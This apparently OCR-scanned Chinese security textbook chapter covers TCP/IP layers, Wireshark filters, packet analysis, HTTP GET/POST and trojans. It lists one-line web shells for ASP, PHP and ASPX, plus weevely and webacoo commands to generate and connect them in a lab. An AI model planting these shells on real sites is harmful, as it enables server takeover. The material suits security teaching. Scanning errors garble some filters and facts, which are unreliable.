TCP/IP(Transmission Control Protocl/Internet Protocol,传输控制协议/网际协议) 是指能够在多个不同网络间实现信息传输的协议簇,它是现实中用户的实际通信协议。TCP/IP协议不是指TCP和IP两个协议,而是指一个由 FTP、SMTP、TCP、UDP、IP 等协议构成的协议簇。
TCP/IP协议参考了OSI/RM(开放系统连参考模型) 的体系结构,如图3-1-1所示。OSI/RM 模型共有七层,从下到上分别是物理层、数据链路层、网络层、传输层、会话层、表示层和应用层。在 TCP/IP 协议中,它们被简化为四个层次。
与有七层体系结构的OSI/RM 相比,只有四层体系结构的TCP/IP 协议要简单得多,也正是这样,TCP/IP 协议在实际的应用中效率更高,成本更低。
分别介绍TCP/IP 协议中的四个层次。
应用层:应用层是 TCP/IP 协议的第一层,是直接为应用进程提供服务的。
传输层: 作为TCP/IP 协议的第二层,传输层在整个 TCP/IP 协议中起到了中流砥的作用。
网络层: 网络层在TCP/IP 协议中位于第三层。在TCP/IP 协议中,网络层可以进行网络连接的建立和终止,以及IP 地址的寻找等。
网络接口层: 在TCP/IP协议中,网络接口层位于第四层。由于网络接口层兼并了物理层和数据链路层,所以网络接口层既是传输数据的物理媒介,也可以为网络层提供一条准确无误的线路。
TCP/IP各层有着不同的协议,如网络层的ICMP 协议负责网络连通性的测试 (ping命令,用于传递在主机和路由器之间的控制信息,ARP (ARAP) 协议负责将物理地址与地址相互转化;传输层的 TCP 协议提供面向连接、可靠、基于字节流通信方法,UDP 协提供无连接发送封装的 IP 数据包的方法;应用层的 HTTP 协议提供简单网页请求响应协议FTP 协议提供文件的传输服务,Telnet 协议提供远程登录服务等,应用层的不同协议对应传输层的不同端口,这在之前的章节已经介绍。
Wireshark (前称 Ethereal) (图3-1-2)是个网络封包分析软件。网络封包分析软件的功能是截取网络封包,并尽可能显示出最为详细的网络封包信息。
Wireshark 功能界面如图3-1-3 所示
汪意,捕捉过滤器仅支持协议过滤,显示过滤器既支持协议过滤,也支持内容过滤,两种过滤器支持的过滤语法并不一样。
以下是过滤表达式规则:
1、显示过滤器。对捕捉到的数据包依据协议或包的内容进行过滤。语法见表3 -1-1。
语法 | Protocol | String1 | String2 | Comparison operator | Value | Logical Operations | Other expression |
---|---|---|---|---|---|---|---|
例子 | http | request | method | == | “POST” | or | icmp.type |
String1和String2 是可选的依据协议过滤时,可直接通过协议来进行过滤,也能依据协议的属性值进行过滤。
按协议进行过滤时,snmpldns icmp 显示SNMP或 DNS或ICMP 封包。按协议的属性值进行过滤:
ip. addr ==10.1.1.1
ip. src!=10. 1.2.3 or ip. dst! = 10.4.5.6
ip.src==10.230.0.0/16,显示来自10.230 网段的封包
tcp.port ==25,显示来源或目的TCP端口号为25的封包
tcp.dstport ==25,显示目的TCP 端口号为25 的封包。
http.request.method =="POST”,显示 post 请求方式的 http 封包。
http.host =="tracker 1ting. com",显示请求的域名为 tracker.1ting. com 的 http 封包
tcp.flags.syn ==0x02,显示包含TCP SYN标志的封包。
2、捕获过滤器。捕捉前依据协议的相关信息进行过滤设置。语法见表3 -1-2
语法 | Protocol | String1 | String2 | Comparison operator | Value | Logical Operations | Other expression |
---|---|---|---|---|---|---|---|
例子 | tcp | dst | 10.1.1.1 | 80 | and | Tcp dst 10.2.2.2 3128 |
示例:
(host 10.4. 1. 12 or src net 10.6.0. 0/16) and tcp dst portrange 200 - 10000 and dst net).0.0.0/8
捕捉IP为10.4.1.12 或者源IP 位于网络10.6.0.0/16,目的IP的TCP 端口号在200~000之间,并且目的IP位于网络 10000/8内的所有封包。
字段详解:
Protocol (协议):
可能值有 ether、fddi ip、arp、rarp、decnet、lat、sca、moprc、mopdl、tcp and udp。
如果没指明协议类型,则默认为捕捉所有支持的协议。
注:在Wireshark的HELP-Manual Pages - Wireshark Filter中查到其支持的协议。
Drection (方向):
可能值有 src、dst、sre and dst、src or dst。
如果没指明方向,则默认使用“src or dst”作为关键字
“host 10.2.2.2”与“src or dst host 10.2.2.2”等价。
Host(s):
可能值有 net、port、host、portrange。
默认使用“host”关键字,“sre 10.1.1.1”与“src host 10.1.1.1”等价。
Logical Operations (逻辑运算);
可能值有not、and、ot。
否(“not”) 具有最高的优先级;或 (“or”) 和与 (“and”) 具有相同的优先级,运算时从左至右进行。
“not tcp port 3128 and tcp port 23”
与“ (not tcp port 3128) and tcp port 23”
等价
“not tcp port 3128 and tcp pot 23”
与“not ( tcp port 3128 and tcp port 23)”
不等价
ICMP (Intermet Control Message Protocol);Internet 控制报文协议。它是TCP/IP 协议簇的一个子协议,用于在IP 主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。如图3-1-4 所示,在资料文件夹中打开Wireshark 工具。单击“WiesharkPortable”,如图3-1-5所示,这时会显示监听到的所有网卡的数据包流量。
单击“VMware Network Adapter VMnet8”,如图3-1-6所示,启动抓包。在物理机念令行输人 ping命令,测试与虚拟机的连通性,单击“停止抓包”命令。
在“Protocol”选项下,单击 ICMP 协议,分析数据包结构,可以看到 TCP/IP 模型中的物理层、数据链路层、网络层及协议层的相关内容。其中ICMP 协议包包含的参数项有类型Type)、代码 (Code)、校验和(Checksum)、序列号(Sequence number)、数据(Data等。图3-1-7中ICMP包中 type 为8 说明是回复包,code 为0说明是相通的应答状态。
传输控制协议 (Transmission Control Protocol,TCP) 是一种面向连接的、可靠的、基于字节流的传输层通信协议。马买
如图3-1-8所示,TCP协议保证网络可靠连接。在连接建立前,需要服务器端和客户端进行三次握手:
三次握手完成,TCP客户端和服务器端成功建立连接,可以开始传输数据了断开连接时,需要进行四次握手:
注意:FIN的接收也作为一个文件结束符 (end-of-le)传递给接收端应用进程,放在已排队等候该应用进程接收的任何其他数据之后,这是因为FIN的接收意味着接收端应用进程在相应连接上再无额外数据可接收。
HTTP 协议是 TCP/IP 中的高层协议,它是一个简单的请求 -响应协议,通常用于网站访问。它指定了客户端可能发送给服务器什么样的消息及得到什么样的响应。本案例抓取一个HTTP 包,如图3-1-12 所示。可见HTTP 协议运行在TCP 之上,并且客户端发送的内容是明文显示的,很容易被黑客知道。
启动 Wireshark 软件抓取本地访问网站的数据包 (HTTP 包)
超文本传输协议 (HTTP)的设计目的是保证客户机与服务器之间的通信。HTTP 的工作方式是客户机与服务器之间的请求 -应答协议。Web 浏览器可能是客户端,而计算机上的网络应用程序也可能作为服务器端。在客户机和服务器之间进行请求 -响应时,两种最常被用到的方法是 get和 post。
get:
从指定的资源请求数据
post:
向指定的资源提交要被处理的数据
(1) get方法
查询字符串(名称/值对)是在 get 请求的URL中发送的形式为:网页url变量=值。
get 查询的值。要查询的值会在 URL中明文显示get 方法有如下特点:
(2) post 方法
查询字符串(名称/值对)是在 post 请求的 HTTP 消息主体中发送的。
post 方法传递的变量不会在 URL 显示出来,但可以通过抓包显示,如本项目任务一中的图3-1-2 所示。
post 方法有如下特点:
(3)比较get与post
比较选项 | get | post |
---|---|---|
后退按钮/刷新 | 数据不改变 | 数据会被重新提交(浏览器应该告知用户数据会被重新提交) |
书签 | 可收藏为书签 | 不可收藏为书签 |
缓存 | 能被缓存 | 不能被缓存 |
编码类型 | application/x - www - form - urlencoded | application/x - www - form - urlencoded 或 multi-part/form- data。为二进制数据使用多编码 |
历史 | 参数保留在浏览器历史中 | 参数不会保存在浏览器历史中 |
对数据类型的限制 | 当发送数据时,get方法向URL添加数据,URL的长度是受限制的(URL的最大长度是2048个字符) | 无限制 |
对数据类型的限制 | 只允许ASCII字符 | 没有限制,也允许二进制数据 |
安全性 | 与post 相比get的安全性较差,因为所发送的数据是URL的一部分。在发送密码或其他敏感信息时,绝不要使用get | post 比get 更安全,因为参数不会被保存在浏览器历史或 Web 服务器日志中 |
可见性 | 数据在URL中对所有人都是可见的 | 数据不会显示在URL中 |
木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除,件、发送密码、记录键盘和攻击 DOS 等特殊功能的后门程序。木马病毒其实是计算机黑客用于远程控制计算机的程序,将控制程序寄生于被控制的计算机系统中,里应外合,对被感染木马病毒的计算机实施操作。一般的木马病毒程序主要是寻找计算机后门,伺机窃取被控计算机中的密码和重要文件等。可以对被控计算机实施监控、资料修改等非法操作。木马病毒具有很强的隐蔽性,可以根据黑客意图突然发起攻击。
一句话木马是最简单的木马程序,它短小精悍,功能强大,隐蔽性好,在人侵中始终扮演着强大的作用。当木马被上传到目标网站后,可以利用“中国菜刀”等连接工具连接网站后台,实现进一步的渗透操作。常见的一句话木马根据不同的网页设计语言如下:
ASP 一句话木马:
<execute(request("value"))>
PHP一句话木马:
<php @ eval($_POST[value]);>
ASPX一句话木马:
<%@ Page Language="Jscript">
<eval( Request.Item "value"])>
其他一句话木马:
<eval request("value")>
<execute request("value")>
<execute(request("value"))>
<If Request("value")<> n Then Execute(Request("value"))>
<if request ("value") <>"then session( "value") =request("value"end if;if session("value")<> then execute session("value" %>
<SCRIPT language = VBScript runat = "server" > execute request( "value"</SCRIPT >
<@ Page Language="Jscript">
<eval(Request,Item "value" ,"unsafe">
此外,在 Kali Linux 中也有网页木马工具:
名称 | 生成木马 | 向网站连接木马 |
---|---|---|
webacoo | webacoo -g - o a. php | webacoo -t -u http://127.0.0.1/a. php |
weevely | weevely generate < password > 1. php | weevely http://127.0.0. 1/1. php < password > |
Kali Linux中的 Msfvenom 工具也是制作木马常用工具。
首先,我这里先使用中国菜刀weevely生成木马来上传到靶场win7:
weevely generate 8888 /root/88.php
weevely http://192.168.217.143/88.php 8888
首先我们可以看到133与143进行了三次握手,然后133去访问了143,http,说明143在提供网页服务,同时80端口开放,所以,143就是目标主机。
在 Wireshark 搜索框尝试输入“ip.src =192.168.217.143and ip.dst =192.168.217.133 and http”会发现只有 192.168.217.133 与目标主机并进行了post 传值,所以192.168.217.133是攻击机。
Burp Suite 是用于攻击 Web 应用程序的集成台,如图3-3-1所示。它包含了许多Burp 工具,这些不同的 Burp 工具通过协同工作,有效地分享信息,支持以某种工具中的信息为基础供另一种工具使用的方式发起攻击。这些工具设计了许多接口,以加快攻击应用程序的过程。所有的工具都共享一个能处理并显示 HTTP 消息、持久性、认证、代理、日志警报、可扩展的框架。它主要用来做安全性渗透测试。
如图3-3-2所示,Burp Suite 提供了很多功能模块,具体描述如下:
BurpSuite的使用和配置在项目一的任务二中已经介绍。
使用Burp Suite进行暴力破解详细内容见:
https://blog.csdn.net/weixin_63172698/article/details/132601765?spm=1001.2014.3001.5502